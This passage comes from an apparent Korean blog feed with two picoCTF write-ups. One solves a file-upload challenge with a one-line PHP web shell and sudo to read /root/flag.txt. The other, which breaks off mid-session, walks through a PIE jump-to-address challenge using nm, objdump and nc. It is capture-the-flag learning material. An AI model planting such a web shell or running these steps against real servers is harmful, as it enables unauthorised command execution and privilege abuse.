&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;729&quot; data-origin-height=&quot;448&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cYF1sX/btsN8oFPsrb/xWvCqK6KR2MmeNUldk3fYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cYF1sX/btsN8oFPsrb/xWvCqK6KR2MmeNUldk3fYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cYF1sX/btsN8oFPsrb/xWvCqK6KR2MmeNUldk3fYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcYF1sX%2FbtsN8oFPsrb%2FxWvCqK6KR2MmeNUldk3fYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;729&quot; height=&quot;448&quot; data-origin-width=&quot;729&quot; data-origin-height=&quot;448&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 문제는 첨부파일로 WebShell 공격을 하는 문제인거 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이거 첫문제 풀때 미리 좀 공부 해놨었는데 잘 풀렸으면 좋겠다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 분석&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1074&quot; data-origin-height=&quot;90&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bP9Fu7/btsN7Qv3ret/fC5reiDtHV4n72s82SF9y1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bP9Fu7/btsN7Qv3ret/fC5reiDtHV4n72s82SF9y1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bP9Fu7/btsN7Qv3ret/fC5reiDtHV4n72s82SF9y1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbP9Fu7%2FbtsN7Qv3ret%2FfC5reiDtHV4n72s82SF9y1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1074&quot; height=&quot;90&quot; data-origin-width=&quot;1074&quot; data-origin-height=&quot;90&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 선택을 누르게 되면 지금 모든 파일이라고 나와 있는걸 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이게 취약점이라고 할 수 있다고 봤다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;157&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b3fCvL/btsN8JCZu5L/BfPCexaFfrFUYp8anXP41K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b3fCvL/btsN8JCZu5L/BfPCexaFfrFUYp8anXP41K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b3fCvL/btsN8JCZu5L/BfPCexaFfrFUYp8anXP41K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb3fCvL%2FbtsN8JCZu5L%2FBfPCexaFfrFUYp8anXP41K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;781&quot; height=&quot;157&quot; data-origin-width=&quot;781&quot; data-origin-height=&quot;157&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;upload profile 버튼 클릭시 이렇게 새로운 화면으로 이동한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;319&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ceJGoV/btsN8W3bx3D/sghiNk0jKMkh7MNJKUVHAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ceJGoV/btsN8W3bx3D/sghiNk0jKMkh7MNJKUVHAk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ceJGoV/btsN8W3bx3D/sghiNk0jKMkh7MNJKUVHAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FceJGoV%2FbtsN8W3bx3D%2FsghiNk0jKMkh7MNJKUVHAk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;604&quot; height=&quot;319&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;319&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;network를 보게 되면 지금 해당 웹사이트에 기본적인 정보를 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내가 중요하게 본건 Debian이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이건 Linux 배포판 중에 하나라고 알고 있어서 Linux 명령어가 통할거 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 파일을 한번 업로드 해봐야겠다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;202&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bNIy2n/btsN8IKWoG1/XT0kIbWyDfqL7H0beZ0lc1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bNIy2n/btsN8IKWoG1/XT0kIbWyDfqL7H0beZ0lc1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bNIy2n/btsN8IKWoG1/XT0kIbWyDfqL7H0beZ0lc1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbNIy2n%2FbtsN8IKWoG1%2FXT0kIbWyDfqL7H0beZ0lc1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;996&quot; height=&quot;202&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;202&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문구가 바뀌었고 지금 Path가 나오는걸 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 이 Path로 접속해보자.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1654&quot; data-origin-height=&quot;990&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/O3A1g/btsN81jadyS/3hVx7L5ZSBD9NYEgM5dgdK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/O3A1g/btsN81jadyS/3hVx7L5ZSBD9NYEgM5dgdK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/O3A1g/btsN81jadyS/3hVx7L5ZSBD9NYEgM5dgdK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FO3A1g%2FbtsN81jadyS%2F3hVx7L5ZSBD9NYEgM5dgdK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;643&quot; height=&quot;385&quot; data-origin-width=&quot;1654&quot; data-origin-height=&quot;990&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내가 올린 파일을 그대로 확인이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Spring Framework의 static 폴더가 떠올랐다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 풀이&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 본격적으로 Web Shell 공격을 해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 이렇게 경로/파일.확장자 로 접근 가능한다고 100% WebShell 공격이 가능한것은 아니라고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 일단 해보는 방법 밖에 없을 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 엄청 간단하게 php로 웹쉘이 가능한 파일을 만들어준다.&lt;/p&gt;
&lt;pre id=&quot;code_1747932825336&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# $_GET['hacking'] = QueryString
# system() = 지금 문제에서는 linux 명령어를 실행한다.
&amp;lt;?php system($_GET['hacking']); ?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 파일을 업로드 하게 되면 어떻게 될까?&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;799&quot; data-origin-height=&quot;199&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cdnvYp/btsN9MMmBuR/nTOvNX95CUyxSJ40h8CuAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cdnvYp/btsN9MMmBuR/nTOvNX95CUyxSJ40h8CuAk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cdnvYp/btsN9MMmBuR/nTOvNX95CUyxSJ40h8CuAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcdnvYp%2FbtsN9MMmBuR%2FnTOvNX95CUyxSJ40h8CuAk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;799&quot; height=&quot;199&quot; data-origin-width=&quot;799&quot; data-origin-height=&quot;199&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;잘 업로드 된걸 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1227&quot; data-origin-height=&quot;256&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/t3e4z/btsN9NdotZt/ZIkkvRI28VJf84KfGT0YLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/t3e4z/btsN9NdotZt/ZIkkvRI28VJf84KfGT0YLk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/t3e4z/btsN9NdotZt/ZIkkvRI28VJf84KfGT0YLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ft3e4z%2FbtsN9NdotZt%2FZIkkvRI28VJf84KfGT0YLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1227&quot; height=&quot;256&quot; data-origin-width=&quot;1227&quot; data-origin-height=&quot;256&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Path로 이동하니깐 이런 에러 문구가 나오는데 지금 명령어가 비어있어서 그런거 같으니 명령어를 입력해준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1909&quot; data-origin-height=&quot;130&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5Agc4/btsN9KOuGyC/t6JMCq1cX5Ijf7VjSUNJO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5Agc4/btsN9KOuGyC/t6JMCq1cX5Ijf7VjSUNJO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5Agc4/btsN9KOuGyC/t6JMCq1cX5Ijf7VjSUNJO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5Agc4%2FbtsN9KOuGyC%2Ft6JMCq1cX5Ijf7VjSUNJO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1909&quot; height=&quot;130&quot; data-origin-width=&quot;1909&quot; data-origin-height=&quot;130&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;WebShell 공격에 성공했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 문제에서 말한 /root 폴더를 찾아보자.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1227&quot; data-origin-height=&quot;217&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/buvxuA/btsN8vE6pOI/8BaC7oPTWjvxLFa8eI2x7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/buvxuA/btsN8vE6pOI/8BaC7oPTWjvxLFa8eI2x7k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/buvxuA/btsN8vE6pOI/8BaC7oPTWjvxLFa8eI2x7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbuvxuA%2FbtsN8vE6pOI%2F8BaC7oPTWjvxLFa8eI2x7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1227&quot; height=&quot;217&quot; data-origin-width=&quot;1227&quot; data-origin-height=&quot;217&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금 /root 폴더 안을 좀 보려고 했는데 아무것도 안나온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 계정이 뭔지 부터 보자.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;967&quot; data-origin-height=&quot;147&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cwyhPu/btsN9EgkWoc/x6CjY0ctHXOGzZn9K9LkWk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cwyhPu/btsN9EgkWoc/x6CjY0ctHXOGzZn9K9LkWk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cwyhPu/btsN9EgkWoc/x6CjY0ctHXOGzZn9K9LkWk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcwyhPu%2FbtsN9EgkWoc%2Fx6CjY0ctHXOGzZn9K9LkWk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;967&quot; height=&quot;147&quot; data-origin-width=&quot;967&quot; data-origin-height=&quot;147&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;root 권한이 없어서 그런가?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/root 폴더는 누가 읽을 수 있나 확인하자.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1129&quot; data-origin-height=&quot;169&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bRPJZw/btsN9GZvadN/c5k53cGWgXXeEVbmJ1Gmi1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bRPJZw/btsN9GZvadN/c5k53cGWgXXeEVbmJ1Gmi1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bRPJZw/btsN9GZvadN/c5k53cGWgXXeEVbmJ1Gmi1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbRPJZw%2FbtsN9GZvadN%2Fc5k53cGWgXXeEVbmJ1Gmi1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1129&quot; height=&quot;169&quot; data-origin-width=&quot;1129&quot; data-origin-height=&quot;169&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;역시 root 계정만 읽을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 지금 할 수 있는건 sudo를 해보는 방법밖에 떠오르지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가끔 docker 쓸때 권한이 없다고 문제가 생기면 마법의 주문인 sudo를 많이 썼었기 때문이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2449&quot; data-origin-height=&quot;132&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xrLv8/btsN87QWCAX/JY5s8kB3AbqHecuSdkPfvk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xrLv8/btsN87QWCAX/JY5s8kB3AbqHecuSdkPfvk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xrLv8/btsN87QWCAX/JY5s8kB3AbqHecuSdkPfvk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxrLv8%2FbtsN87QWCAX%2FJY5s8kB3AbqHecuSdkPfvk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2449&quot; height=&quot;132&quot; data-origin-width=&quot;2449&quot; data-origin-height=&quot;132&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금 이렇게 /root 폴더 안을 확인 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마지막에 flag.txt가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이걸 이제 cat flag.txt 하면 flag 값을 확인할 수 있다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 결론&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;sudo 사용 시 원래 비밀번호를 입력해야하지만 귀찮아서 풀어둔적이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;귀찮다고 sudo 비밀번호를 그냥 풀어버리면 이런 해킹을 당하기 훨씬 쉬워진다.&lt;/p&gt;</description>
      <category>Development/CTF 문제 풀이</category>
      <category>php</category>
      <category>webshell</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/275</guid>
      <comments>https://jangto.tistory.com/entry/Web-Hacking-picoCTF-WebShell-n0s4n1ty-1#entry275comment</comments>
      <pubDate>Fri, 23 May 2025 02:11:00 +0900</pubDate>
    </item>
    <item>
      <title>[Buffer Overflow] picoCTF WebShell PIE TIME</title>
      <link>https://jangto.tistory.com/entry/Web-Hacking-picoCTF-WebShell-PIE-TIME</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 시작 및 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 문제의 유일한 힌트를 보고 나름 정리를 해봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이거랑 바이너리 파일 하나를 준다.&lt;/p&gt;
&lt;pre class=&quot;shell&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;shell&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;signal.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

void segfault_handler() {
&amp;nbsp;&amp;nbsp;printf(&quot;Segfault Occurred, incorrect address.\n&quot;);
&amp;nbsp;&amp;nbsp;exit(0);
}

// 뭔가 이거 실행되면 되는거 같다.
int win() {
&amp;nbsp;&amp;nbsp;FILE *fptr;
&amp;nbsp;&amp;nbsp;char c;

&amp;nbsp;&amp;nbsp;printf(&quot;You won!\n&quot;);
&amp;nbsp;&amp;nbsp;// Open file
&amp;nbsp;&amp;nbsp;fptr = fopen(&quot;flag.txt&quot;, &quot;r&quot;);
&amp;nbsp;&amp;nbsp;if (fptr == NULL)
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf(&quot;Cannot open file.\n&quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(0);
&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;// Read contents from file
&amp;nbsp;&amp;nbsp;c = fgetc(fptr);
&amp;nbsp;&amp;nbsp;while (c != EOF)
&amp;nbsp;&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;printf (&quot;%c&quot;, c);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;c = fgetc(fptr);
&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;printf(&quot;\n&quot;);
&amp;nbsp;&amp;nbsp;fclose(fptr);
}

int main() {
&amp;nbsp;&amp;nbsp;// signal 등록 SIGSEGV 발생 시 segfault_handler 동작
&amp;nbsp;&amp;nbsp;signal(SIGSEGV, segfault_handler);
&amp;nbsp;&amp;nbsp;// _IONBF 이게 버퍼 안쓰겠다고 하니 뭐 버퍼 없이 출력한다 이건가?
&amp;nbsp;&amp;nbsp;setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

&amp;nbsp;&amp;nbsp;printf(&quot;Address of main: %p\n&quot;, &amp;amp;main);

&amp;nbsp;&amp;nbsp;// unsigned는 양수만 가능하다고 하고 뭐 변수 선언?
&amp;nbsp;&amp;nbsp;unsigned long val;
&amp;nbsp;&amp;nbsp;printf(&quot;Enter the address to jump to, ex =&amp;gt; 0x12345: &quot;);
&amp;nbsp;&amp;nbsp;// 내가 입력한 값을 %lx로 16진수로 읽게 하고 그걸 val에 저장한다.
&amp;nbsp;&amp;nbsp;// &amp;amp;val는 val 주소를 나타내니 주소에 저걸 붙잡도록?
&amp;nbsp;&amp;nbsp;scanf(&quot;%lx&quot;, &amp;amp;val);
&amp;nbsp;&amp;nbsp;printf(&quot;Your input: %lx\n&quot;, val);

&amp;nbsp;&amp;nbsp;// 이게 뭔소리인지 모르겠다.
&amp;nbsp;&amp;nbsp;// 일단 밑에서 실행하는걸로 봐서는 foo는 함수다.
&amp;nbsp;&amp;nbsp;// 구글에서 찾아본 결과
&amp;nbsp;&amp;nbsp;// void : 반환타입
&amp;nbsp;&amp;nbsp;// (*foo) : foo는 포인터
&amp;nbsp;&amp;nbsp;// (void) : 매개변수가 없다.
&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;// val를 형변환한다.
&amp;nbsp;&amp;nbsp;// 반환 타입은 void이고
&amp;nbsp;&amp;nbsp;// 포인터이고
&amp;nbsp;&amp;nbsp;// 매개변수는 없는 걸로
&amp;nbsp;&amp;nbsp;void (*foo)(void) = (void (*)())val;
&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;// foo 실행
&amp;nbsp;&amp;nbsp;// 형변환된 함수 포인터로 실행을 시도할 때 오류가 나면 그게 SIGSEGV 이거다.
&amp;nbsp;&amp;nbsp;foo();
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 문제에 있는거 처럼&amp;nbsp;nc rescued-float.picoctf.net 59822로 접속한다.&lt;/p&gt;
&lt;pre class=&quot;shell&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;shell&quot;&gt;&lt;code&gt;nc rescued-float.picoctf.net 58395

Address of main: 0x5c788567d33d
Enter the address to jump to, ex =&amp;gt; 0x12345:&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 무지성으로 몇개를 적어서 보내봤더니 다 Segfault Occurred, incorrect address.\n 메시지와 함께 종료 된다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;코드를 보니깐 내가 입력한 값을 주소로 메소드 형변환 시켜서 실행하고 있다.&lt;br /&gt;&amp;nbsp;&lt;br /&gt;그럼 win() 주소를 주면 되는데 어떻게 주지?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구글에 c 바이너리 파일 주소 찾기라고 검색하니 다양한 방법이 나왔다.&lt;/p&gt;
&lt;pre id=&quot;code_1747919315932&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 가장 짧고 딱 win 시작 주소를 반환한다.
nm vuln | grep win

# 해당 함수의 어셈블리어와 함께 시작 주소를 반환한다.
objdump -d vuln | grep win

# 해당 함수의 시작 주소 및 16진수로 size를 반환한다.
objdump -t vuln | grep win&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나는 바이너리 파일이라는 말에 아무 생각없이 strings 를 써봤는데 내가 필요한건 주소라서 실패했다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 풀이&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아무튼 위에서 얻은 값을 넣으면 되겠다.&lt;/p&gt;
&lt;pre id=&quot;code_1747919521922&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ nc rescued-float.picoctf.net 61369
Address of main: 0x61ac3957b33d
